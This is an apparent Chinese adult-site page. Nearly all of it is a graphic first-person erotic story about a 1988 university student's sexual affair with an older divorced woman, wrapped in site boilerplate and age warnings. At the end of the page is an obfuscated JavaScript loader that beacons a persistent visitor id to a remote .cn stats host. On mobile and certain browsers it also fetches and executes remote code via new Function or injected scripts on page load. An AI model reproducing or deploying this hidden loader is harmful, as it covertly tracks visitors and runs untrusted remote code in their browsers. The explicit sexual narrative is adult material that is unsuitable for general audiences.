男人不识本站,上遍色站也枉然

 
 

 热门搜索:


表姐不是我的亲表姐,与我一点亲戚关系都没有。之所以称表姐是不让表姐的邻居发现我们之间的性爱关系。表姐是我上的第一个女人。是她引导我进入和遨游神秘的女人肉体世界,教会了我如何变着法子作爱,如何使女人达到高潮的顶峰。表姐深深地影响了我日后的性爱和对女人的品味,做爱的方式。回首过来,我的老婆,我最爱的女人们或多或少都有表姐的影子。每一次我和一个女人开始性的激情,都禁不住去发掘她们和表姐相似的地方。一个有性情的男人是没法摆脱他第一个女人的影子的,无论他是否还爱她。
  表姐与我不是开始于恋爱,我们俩的关系来得太快,还没有得及有感情,就有了性。我们是在一次“车祸”中认识的。是自行车祸。表姐大我十岁,在我们相遇的前一年离了婚。
  1988年秋,我从家乡深圳来到了古城西安,在城南这所名牌工科院校开始了大学生涯。在此前,我从未离开过家乡的那座城市,北方对我来说很新鲜,但是我很快就被军训,高数,制图,普化,普物和英语等课压得透不过气来(妈的,一学期七门课),根本没有时间去领略十一朝古都的文化风采。直到第二个学期,我的大学生活开始有了精彩。
  北方的春天与南方不一样,南方四季长绿,没有北方经过一冬灰溜溜后开春的嫩绿美景,让人心情大振,仿佛提起生活的美好前景。在一个晴朗的星期天(那时星期六还不是法定假日,我们有课),我决定单人骑车到兴庆宫(西交大对门)去玩。
  我那时还年青,骑车喜欢在自行车流中来回串(西安很多路都有专门的自行车道)。快到南门时,没看到该轮到垂直道的自行车流走了,砰的一声,我拦腰撞到了一个年轻妇女的自行车上,表姐就这样砰的一声被我撞到了我的生活里。
  不记得当时怎样了,只记得在很多旁人的指责下,我得送她到最近的医院。表姐是碰到旁边的另一辆单车上倒地的,摔的并不重,只是手掌和胳膊擦出了血。我推着她的单车,陪她到医院上了药,由于她有公费医疗卡,不用我掏钱。当她知道我是大学生后,对我态度就好得多了(当然我那时也象孙子一样不停地道歉)。让我送她回家,因为自行车要扛上三楼楼道里停着,她手伤了不想自己扛了。她在路边给单位打了个电话说不上班了(表姐的工作休周一),就领着忐忑不安的我来到了她单位的小院。
  我进到了她家,这个以后我和她疯狂作爱的地方。一室一厅的单位分房。表姐布置得很素雅。我们坐下来聊了起来,我知道了她在百货公司里工作,是管一组柜台的组长。后来我知道她因为生不了孩子,在乡下的婆婆逼着她老公和她离了婚。由于她生不了孩子,我们日后作爱就少了避孕的顾虑了。
  我们聊了一会, 我就告辞了,心情忐忑地回了学校。
  如果事情到这里结束,我们就不会有下来的故事。
  偏偏我一直很内疚,鬼差神使地。一星期后的周一(周一是表姐的正常休假)下午下课,大约四点,我买了些水果,到表姐家看她。就在那一天,我上了表姐,也开始了我的性爱历程。
  当表姐开门看到我时,先是很惊诧,很快有了笑容,把我让进家里坐下,给我倒水。我开始注意起表姐来。由于是在家,那天表姐穿着白色长袖圆领棉毛衫和很紧绷的线裤(我无法忘记那一天),突显了她的身材。表姐乳房很大,但不是硕大那种,乳头顶起衣服成硬约的两点,十分诱人。她身材丰腴,但并不是肥胖的那种,屁股很大,腰略细,大腿很粗,但是小腿则细长。这样的身材很能挑起性欲。表姐不是很漂亮,但也不是难看的那种。留着浓密的长发,用网兜样的发罩兜着,身上散发出淡淡的女人香味(说不出象什幺气味,可是一闻就知道是女人的肉体气息)。我当时就开始心猿意马了,但是根本没有想道会和她做爱。
  表姐因为是结过婚的,所以言谈不扭捏,也没有少女的羞涩,但是眼里总有淡淡的忧思。我们聊开来,主要是她问我学校和学业的事,我给她讲校园的趣事,常引她开心的大笑。接着大约5点多,表姐留我吃晚饭,说反正她也要作饭给自己,多一个人吃只是多做些饭。那时吃的是大学食堂的饭菜,吃起表姐做的菜来简直象是山珍海味,我狼吞虎眼咽,不停地称好,期间表姐不得不叫我慢点吃,我从她眼中看到了温柔的爱意。
  吃完饭后,我们又重新坐到了沙发上聊天。聊到了谈恋爱,自然聊到了她的不幸婚姻,表姐显得很伤感,我尽量安慰她。说着说着我突然发现表姐靠得我很近很近,我可以闻到她身上散发着的诱人的气息,感觉到她加重的呼吸声,我们突然停下话,我看到表姐的微眯地看着我,眼里象似有一潭春水,似乎还透着薄薄的雾气。我一下子慌乱起来,不知怎幺是好,脸红心跳的,想站起来。
  表姐的双手搭在我的双肩上,没用什幺劲,我就没能站起来。表姐几乎是贴在了我的身上,我感觉到了她柔软的乳房以及坚硬的乳头压在了我的胳膊上。我一下子浑身僵硬,心跳更快了。表姐接着把头贴在我的脖子下,轻轻的蹭着,鼻孔里随着呼吸声发出轻轻的呢喃,混着她的体味和发隙的香味,聊人心肺。我从来没有这样接近过女人,而且是这样性感成熟的女人。只觉得浑身发热,小弟弟硬的如铁。意乱情迷中,我捧起了表姐的脸。表姐半眯着眼望着我,眼里的雾气似乎更浓,红红的樱唇轻轻的张着,呼吸更加浓重,从衣领里冲出的带着女人体味的热气熏得我脑子晕眩。我们嘴唇慢慢地靠近,突然表姐猛地双手紧楼我的脖子,整个嘴唇就“咬”到了我的嘴上。表姐紧紧得搂着我的脖子,猛烈地吮吸着,令我几乎透不过气来。表姐不停的转动着她的头,似乎在寻找最佳位置,要把我吸干, 还不时地将她的香滑的小舌伸进来搅动着,并大口吞咽着我们产生的津液。表姐很快地就坐在了我的大腿上,这样我们接吻就更加顺畅。我一开始不知如何是好,渐渐地,我学会了配合着她扭动着,把头和她的头侧对着,这样能够最大限度地吮吸着,感觉第一次接吻的美妙滋味。我紧紧的抱着她,房间里除了电视的音响,就是我们沉重的呼吸和吮吸发出的声音。
  起初我的手只是紧紧地抱着表姐,渐渐地,我开始隔着衣服抚摩着她的腰肢,背,颈项和秀发。趁机将表姐的发罩弄开,表姐的长发瀑布般垂到背上。我感觉到表姐明显呼吸加重,鼻隙透出轻哼。于是我从她裤子上撩开了她的衣服,把手插入她的棉毛衫和小罩衫内,抚摩到了她光滑的背部,表姐的哼哼声也加大了。我发现表姐没有戴乳罩,这样省了解乳罩扣的麻烦。很快我就改抚摩背脊为贴者着腰肢往上一直抚摩。当我的两个拇指推按到到她的极其柔软而又极其有弹性的乳房和坚硬的乳头时。表姐禁不住挣开我的嘴,发出了轻而悠长的“啊”的呼叫,荡人心魄。以后我发现每每和表姐亲密爱抚到激动时,她都会情不自禁地发出这样的荡人心魄的呼叫声。
  我就这样不停的抚摩着,并不时用手掌扣握着,使劲揉捏着表姐大乳房,表姐的乳房很大,一个手掌包不过来,但是坚挺而有弹性,不是大而下垂的那种, 身体也是丰满而柔软富弹性的,揉捏任何地方都很带劲,每次揉捏抚摩,总能换来激情的呻吟回报。
  我的身边弥漫着表姐肉体的气味,耳中回荡着表姐的呻吟,加之从手上,嘴唇传来的柔软滑腻的感觉,刺激机得我小弟弟硬得仿佛要爆裂。
  直竖竖地顶在表姐的下体。表姐似乎也感觉到了,不停地用屁股和会阴蹭着我的小弟弟。当我把颤抖的手伸到表姐的内裤里抚摩她的肥厚的屁股时,表姐轻咬着我的耳朵腻声道:‘抱我到房间里去。’我的心跳得几乎要蹦了出来。就学着电影那样,两臂分别兜着表姐的颈背和膝背,将她抱了起来,表姐嗤嗤姣笑着,将两臂勾住我的脖子。后来我发现很多女人都喜欢这样被男人抱起来。
  表姐比较重(很丰满嘛),幸好我军训完后坚持每天锻炼,还算强壮,抱着她到里屋还不算费劲。但是由于太猴急,进门是过了头忘了腿,把表姐的腿碰到了门框。表姐疼得“噢”了一声,笑骂道:“慢点。”
  我把表姐放在床上,便迫不急待地又俯身吻上了她,同时双手又插进了她的衣衫,再次贪婪地抚摩着她的乳房。这样的姿势比面对面拥抱更方便地抚摩乳房。接着我的手又慢慢地顺着她的光滑平坦小腹滑进她的裤缘。我感觉到表姐颤抖了一下,我的手就停下来,在表姐模糊的呻吟声鼓励下,我的手第一次探进了成熟女人的禁地的。
  表姐的阴毛浓密而且非常多,从下腹一直到会阴都生的很茂盛,我得拨开她的阴毛才能完全接触到她的阴唇。这时表姐的阴部已经充满了黏液,阴毛和裤衩内贴会阴的部位都被染湿了。我怔了一下,后来才知道女人在爱抚下阴道就会分泌黏液。当时只是想女人大概都这样,古龙的小说不也写女人下面是湿润的草原嘛,于是就继续探索着。表姐阴部很肥厚,小阴唇柔软而又温暖,混着爱液,摸起来非常舒服,由于充血变大,也很丰润有弹性。当我的手指顺着两片阴唇划到其上根部的一点豆粒时,表姐“啊”地长唤了一声,两腿紧紧地夹住了我的手,吓了我一跳,忙轻声问:“我是不是弄疼你了?”。表姐喘着气摇头道:“不,是太刺激了”。
  表姐挣扎着坐起来,开始快速地解我的衬衫, 当把我的上衣脱后,表姐把脸贴在我的身上,边呻吟边挨檫着边从我身上嗅着我的气息,同时两手没闲着地解开了我的皮带,我的外裤就滑落到了地下,接着表姐的手就伸进了我的内裤,一把握住了我的小弟弟。我顿时血脉愤张得几乎要将脑子冲破。小弟弟在表姐的揉捏下硬得发疼。
  到了这时,我也大胆了,当然也可能是欲火焚身没了理智了,双手将表姐的棉毛衫和内衣一起推过表姐的头脱了下来。当表姐衣服被我推过脖颈时我闻到了一缕淡淡的不同于表姐肉体气味的香味,不是香水的香味,象似兰花和麝香混合的气味,大概是武侠小说说的如兰似麝的香味吧,总之很好闻。发觉是从表姐的腋窝散发出来的。我上过的很多女人中,每个女人的腋窝都有不同的味道,有的好闻,有的发酸,有的很刺鼻,有的是浓烈的狐臭。这些女人当中以表姐和我第一个女友的最好闻,气味几乎一样的香,从表姐和第一个女友以后,我每每和女人作爱,总是去闻她们的腋窝味道, 但是我再也没有闻到她们那种沁人心脾,催人性欲的香味了。
  表姐的腋窝和阴部一样,毛发茂盛有如丛林,从腋窝前臂弯一直延伸到乳根长长的一大片。以后我就经常地埋头在她的腋窝,贪婪地吸着她的气味,让她的腋毛撩者我的鼻孔,以至我日后非常喜欢腋毛丰盛的女人,夏天经常瞅者女人的短袖衣袖口偷偷地看,一旦看到腋毛多的女人就会兴奋,有时鸡巴会不自觉地挺起来。该死的美国女人大都剃腋毛,在美国的三年剥夺了我的这一乐趣。
  这时表姐已经上半身赤裸在我面前。我第一次实实在在地看到了女人的肉体。表姐肌肤白里透红,乳房很大,圆滚滚地坚挺着,深褐色的奶头在乳房的上半部,骄傲地翘着,显得下半部乳房肥大。随着表姐的呼吸和胸脯的起伏,整个大奶子在微微地抖动着。我看得傻了,几乎呼吸不过来,不停地咽着口水。
  表姐看到我的模样,“扑哧”一笑,拉过我的手,一只按在她的乳房上,一只伸进了她的裤子里。于是我边揉着表姐的大乳,边抠着她的汁水泛滥的小穴。表姐呻吟声变大起来,一只手臂勾着我的脖子,腋毛撩得我脖子和肩头痒痒的,腋窝里的香味越发浓重,混着她浓烈的体香,直熏得我几欲晕倒。表姐另一只手伸到了我的内裤里,把玩着我的肉棍和卵蛋,一边咬着我的耳朵,沉重地呼吸着和呻吟着。我浑身滚烫,血脉愤张,猛地一把将表姐按到在床上,一把将表姐的线裤和粉红小内裤褪了下来,我第一次看到了活生生的女人私处,看到表姐茂盛的阴部,丛毛掩盖下的乌黑肥厚的大阴唇和内瓣粉红同样肥满的阴唇,还有从穴口流出的乳白色的汁液。表姐嘤咛一声,拉过被子将自己盖上,眼含浓春,温柔而又极富挑逗地道:“来吧,要我。”
  其实我的小弟弟早就硬得难受,需要发泄了,只是我从来没有和女人作过爱,不知道怎幺开始。听到表姐的鼓励,我就迅速拖掉了内裤,钻进了表姐的被窝,压在了她的丰满的身子上。我只感觉到象是压在了厚实温暖的海绵上一样,舒服无比,尤其是胸前压在奶子的地方。从以后上过的各种女人的经验我发现,丰满的女人压着操起来舒服,苗条纤细的女人则很容易感觉到她们骨头的胳呦,搞不懂为什幺大多数男人都喜欢苗条瘦小的女人。
  我压在表姐身上,阴茎在表姐的会阴到处乱捅,就是不得其法,急得要命。表姐发现我的窘态,呼吸沉重地腻声说:“傻瓜,别动。”说着就伸手到体下轻轻地捏住我的小弟弟,另一只手掰开她的两片阴唇,将我的小弟弟引到了潮湿的桃花洞口,道:“进来吧。”
  我立刻狠狠地往前一捅。由于此前表姐已经汁水泛滥了,阴道非常的顺滑,表姐阴道虽紧,我这一下依然没有任何阻力就深深地捅到了她阴道的根部的子宫口。表姐淋漓地“啊”了一声,整个身子僵硬了起来,我看她张大着嘴,闭眼紧皱眉头,以为弄疼了她,忙停下来,关切地问:
  “疼吗”。
  随着悠长的“啊”声,表姐长长地从嘴里吐了口气,紧紧地搂着我,喘息着道:“不,好好舒服啊!接接着干我。”说着两条腿躬起来紧紧地夹在我的屁股上,同时腰肢使劲地耸动和扭动着。于是我又猛力顶起她的阴部来。由于我从来没操过女人,所以毫无经验,只觉得鸡巴要从表姐温暖滑腻的阴道中滑出来,就不停地使劲往里顶。表姐在我身下猛烈地扭动着,喘息着,半眯着眼紧皱着眉头呵呵地呻吟着,象似痛苦,又象似快活。我又紧张地停下来问:“我弄疼你了吗?”表姐吃吃地笑了起来,喘息着捏着我的脸道:“傻子,我要是疼了会叫疼的,我没叫疼你就尽管用劲操,别停下。”听到表姐这幺说,我又猛烈的来回抽动起来,表姐也随着我的抽动欢快又似痛苦地呻吟喘息起来。
  很快我的抽动就能配合表姐的腰肢耸动,达到最佳状态和最刺激摩擦快感。表姐全身都在动,头在枕上左右摇动着,长发就盖在她的脸上,显得更加诱人。我感觉到表姐的阴道既润滑使得来回抽动无阻又夹得我的硬鸡巴紧紧的摩擦得很刺激。随着我的来回抽插,我感觉到表姐的小穴汁液越来越多顺着我的鸡巴不停的冒出来,由于我们猛烈的运动同时发出哔叭的声响。我们的身子都一汗水淋淋,湿透了床单和被里。整个卧室弥漫着我的汗味,表姐的香味和爱液味。
  表姐短促呻吟和喘息,浓烈并夹着兰麝腋香的体味和猛烈的生殖器官的摩擦很快我就被刺激得鸡巴一阵酸麻,这股酸麻从尾椎迅速地冲到我的脑们,我只觉的眼前一酸,鸡巴就开始猛烈的抽射起来,一股液流似决堤而出,会阴的肌肉也跟着不由自主地抽动着,下半身不自觉地使劲往前顶。此时表姐的呻吟声更大更短促,喘息更急促,腿夹着我的屁股更紧,身子扭动得更加激烈,就在我快要射到末了的时候,表姐长长的“啊”了一声,整个甚至向上顶着僵硬起来来,手臂紧紧地搂得我的肩头,让我几乎喘不过气来,指甲深深地掐在我的肉里,弄得我很疼。我同时感觉到表姐的阴道在收紧,似乎抽搐着,宫颈口在吮吸着我的鸡巴,似乎要把我射出的精液吸个一干二尽,那种感觉是无法形容的美妙。约几秒钟,表姐又是一个悠长的呻吟,整个身子瘫软在床上,手和脚也软软的垂了下来。嘴里喘息不停,胸脯不停地起伏。
  这时我也浑身没劲,伏在表姐的身上喘息着。但是我的鸡巴却还是坚硬的。当时我以为鸡巴只在离开逼穴才会软下来,后来才知道射完精就会软下来,当时是太过刺激了,所以一直硬着,这种情形在我日后和其他女人作爱时极端刺激的情况下也会发生。
  我们就这样过了约半分钟,表姐的蛮腰又开始耸动起来,由于和着精液和表姐的爱液,她的阴道这个时候特别的滑腻,我只能使劲往前顶以防滑脱,没过半分钟,表姐突然一阵短促的欢叫,身子又想适才那样弓了起来,阴道更加有力地收缩吮吸我的鸡巴起来,一股热热的液体不知从哪喷到了我的鸡巴根部,这一次对鸡巴的刺激似乎比刚才的还猛烈,我又不禁抽射起来,但是明显感觉到没有精液,在干抽射。随着表姐又一次瘫软下来,我的小弟弟也彻底软了下来,刹那间我觉的一股无比舒适的快感袭来,通体舒泰,只觉鸡巴有无比的满足。我身体从表姐的身上翻了下来,躺在湿漉漉的褥子上大口喘气。
  我们皆是浑身汗水,连头发都是湿透的。过了一会,表姐翻过身来,半边身子伏在我的身上,一条玉臂搁在我胸前,小手抚着我的胸肌,一条玉腿也搭上了我的腿上,我感觉表姐的私处贴在我的大腿根部,其上流出的黏液顺着我的腹股沟流到床上。房间里很快就充满了我的精液和表姐爱液的气味。我一只上搂着表姐的颈项,使她的脸贴在我的脖子上,另一只手在她的背上轻轻的抚摩着。以后表姐非常喜欢和我这样相拥而眠,有时她的小手会搭在我的小弟弟上睡着。
  我们就这样躺着,突然我想起学校每晚要在11时点名就寝(我们学校是部属的半国防专业院校,第一年住在有辅导员住的宿舍,辅导员每晚点名,整个宿舍同时关灯),我看了一下表已经10点半过了,我不禁啊了一声,表姐支起身子,脉脉含情地看着我,问:“怎幺了?”。我把我们的新生制度告诉她,说:“我得走了。”表姐轻轻地恩了一声,没表示反对。我赶紧起来穿衣。表姐默默看着我穿衣服,咬着嘴唇,过了一会,问道:“你还会再来幺?”。
  傻子也能听出表姐希望我再来操她。我当时一阵狂喜,忙道:“你要愿意,我天天来。”表姐吃吃地笑了,掀开被子下床,赤条条的扑到我怀里,紧紧地抱着我,又猛烈的亲吻我起来。我也热烈地回吻她,手顺势不停地抚摸她的背脊,腰肢和乳房。那一刻,我真不想走。
  又过了很久,我们才松开,我拿起床上的一个毛巾被,把表姐身子围起来,防她着凉,抚着她的脸柔声说:“我明天会再来的。”表姐脸红卟卟,低头轻轻地道:“我周一轮休,周四政治学习,这两天不用上班到九点,你可以这两天来。”激情的性爱把我进门时还是大大方方的少妇又变回了忸忸捏捏的少女。
  我穿戴整齐,又亲了表姐一下,就出门骑车奔回学校。躺在宿舍床上,回想刚才的经历,简直难以置信,我就这样搞了表姐,兴奋加上鸡巴酸疼的难受劲(硬了四小时啊)使我无法入睡,直到凌晨,我才迷迷糊糊睡着。
  接下来的几天,我焦急地在等周四的到来。
  好容易等到周四,估摸着表姐下班的时间,我就骑车直奔表姐的家去了。表姐和我几乎是同时到的,表姐看见我,拧着我的耳朵吃吃的笑道:“死小子,等不及了吧?”。 我只有尴尬地嘿嘿笑者,心里盘算着呆会如何操她。
  我们刚进家里关上门,表姐就猛地扑到我的怀里,紧紧的搂者我的脖子,热烈地吻起我来。我一时没有防备,被她推到了墙边,表姐边吻着我边笑着。我缓过神来,也搂着她的腰肢,猛烈地回吻表姐,同时手伸进她的衣内俯摸她的光滑的身子。表姐呼吸声很快就边的粗重起来,搂得我更紧,吻得也更加热烈,我感觉到她的丰满有弹性的胸脯贴在我的身上很是受用。很快我就将手伸进表姐的裤子里,抚摸起她的毛发丛生汁水泛滥的肥满阴部起来。表姐喘息着,呻吟着,双手开始迅速地脱我的衣裤。我也就毫不犹豫地脱着表姐的衣裤。很快,我们都被脱的赤裸裸的。表姐身上,腋窝里仍然散发着诱人的气味。我们移到了卧室,表姐将我猛地推倒到床上,接着整个身子压到了我身上,我还来不及喘口气,表姐的樱唇已经封住了我的嘴。表姐接着握住了我硬得如铁的阴茎,在她温暖潮湿的“草原”上探索几下,顶到了“泉眼”上,然后狠狠的一坐,嗤的一声,拌随着表姐长长的“啊”声,我的鸡巴就深深的顶进了表姐的阴道里,直到最深。
  表姐一会扶在我身上左右上下扭动屁股,一会半支起身,前后运动着,一会又直起身子,上下颠着,随着颠动,她胸前的奶子也不停地抖动着,汁液留得我满腹部都是。我只能拼力向上顶着被表姐阴道紧夹着的鸡巴,双手抓着她的奶子狠力的捏着。表姐喘息和呻吟声越来越大,越来越短促,突然表姐长长地“啊”了 一声,整个身子砰地扑到我的身上,砸得我差点断了气。我感觉表姐呼呼喘气,阴道痉挛地收缩着,我知道她达到了高潮。可是我刚在兴头,于是我翻过身来,狠狠地插起她来。表姐禁不住大声又丧了魂似地短促地叫了起来,很快,随着我猛烈的抽射,表姐姐又象快乐又象痛苦似地尖叫一声,然后浑身软的象面团似的瘫着,大口喘气。我射完了最后一下,也整个人瘫软在表姐身上,呼呼喘气。我们俩都被汗水湿透了。过了很久,我们恢复力气,又是一阵缠绵后,我的鸡巴又翘了起来,表姐也呻吟起来,这回,她扒在床上,翘起屁股,要我从后面插她。我看着表姐隐在粘满黏液的浓密阴毛中的阴唇和仍有汁液泛出的桃洞,以及透过双腿看到的表姐吊着的两个大奶子,鸡巴就翘得老高,于是不由分说,将小弟弟对着表姐的肥穴就插,同时身体伏在表姐的背上,两手顺势就握住了表姐的大奶子。由于表姐屁股很大,从后面插她就不如从前面那幺爽,不过还是很刺激。我慢慢的插着她,捏着她的奶子,表姐将屁股不停地向后顶,大约30多分钟,表姐来了高潮,我又把她翻过来,猛烈地将她操到了第六次高潮。我们俩筋疲力尽地相拥而睡。等到醒来,已经是10点多,我又是匆匆赶回学校。
  很快,学潮了,我不用上课,也没人点名就寝,表姐的商店因为在省府旁边,被堵得没法开业干脆放假,于是我和表姐可以天天在一起作爱,相拥而眠到天亮。那一个月简直终生难望。我们变着法子作爱,在床上,沙发,椅子和地上,厨房,浴室客厅里,前后上下和侧位。就这样,在不到19岁的时候,我就有了性爱。在很多的同学还没开始和女人牵手的时候,我就已经在一个成熟女人身上翻云覆雨了,并且第一次提枪上阵就让表姐腾云驾雾地来了两次高潮。后来我才发现表姐不是一个很容易得到满足的人,我往往要耗尽精力才能使她彻底满足,我们的第一次大概是因为她已经很久没有作爱,而且前戏时间也很长,所以她才在我插入的短时间内到了高潮。此后,我在表姐的教导下学会了怎样控制鸡巴的刺激感,怎样推起女人的春情,怎样配合女人的反应使她们更好更快地到高潮的顶峰。同时我也探索着女人的神秘世界,开发着女人身上的诱人之处。
  从那开始,表姐的肉体在我的脑海里就印下了性感女人应有的特点:丰乳肥臀,丰满圆润,长发过肩,腋毛丰盛,腋窝有诱人的气味,身体散发女人的气味,阴部肥满而多毛。所有这些,都能很快地引起我的性冲动。而且和表姐作爱有一个特别刺激的地方,就是她很会叫床,她的呻吟喘息和欢叫随我插的频率和力度而变化,我插的频率快,她就叫得快而短促,我插的深而慢她就叫的悠长,随着性交的进程,她叫的声音越来越大,直到高潮时象是在惨叫。和表姐作爱简直是全感官的享受,真搞不懂他的老公怎幺会放弃这一人间尤物。
  我和表姐的性爱一直保持到我大学3年级的下学期,表姐要再结婚。无论我如何劝阻,表姐铁定了心。我们只能结束了关系。从此,我再没见到表姐,每每和女人做爱,我的脑海里都会浮现表姐的影子,每当这样,我就干的更来劲,但至今为止,我再也没有遇到表姐那幺催情的女人。

[ 此贴被萌新瑟瑟发抖在2019-01-21 19:59重新编辑 ]

 

 热门搜索:

 友情链接:




返回首页 | 返回顶部

提示:点击查看永久收藏和无法观看电影说明【记住我们的邮箱:[email protected] 发送任意内容自动回复本站最新地址。】
警告:如果您未滿18歲或您當地法律許可之法定年齡、或是對情色反感或是衛道人士建議您離開本站! 本站歸類為限制級、限定為成年者已具有完整行為能力且願接受本站內影音內容、及各項條款之網友才可瀏覽,未滿18歲謝絕進入。
本站已遵照「iWIN網路內容防護機構」進行分類,如有家長發現未成年兒童/少年瀏覽此站、請按照此方法過濾本站內容 >>『網站分級制度』
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};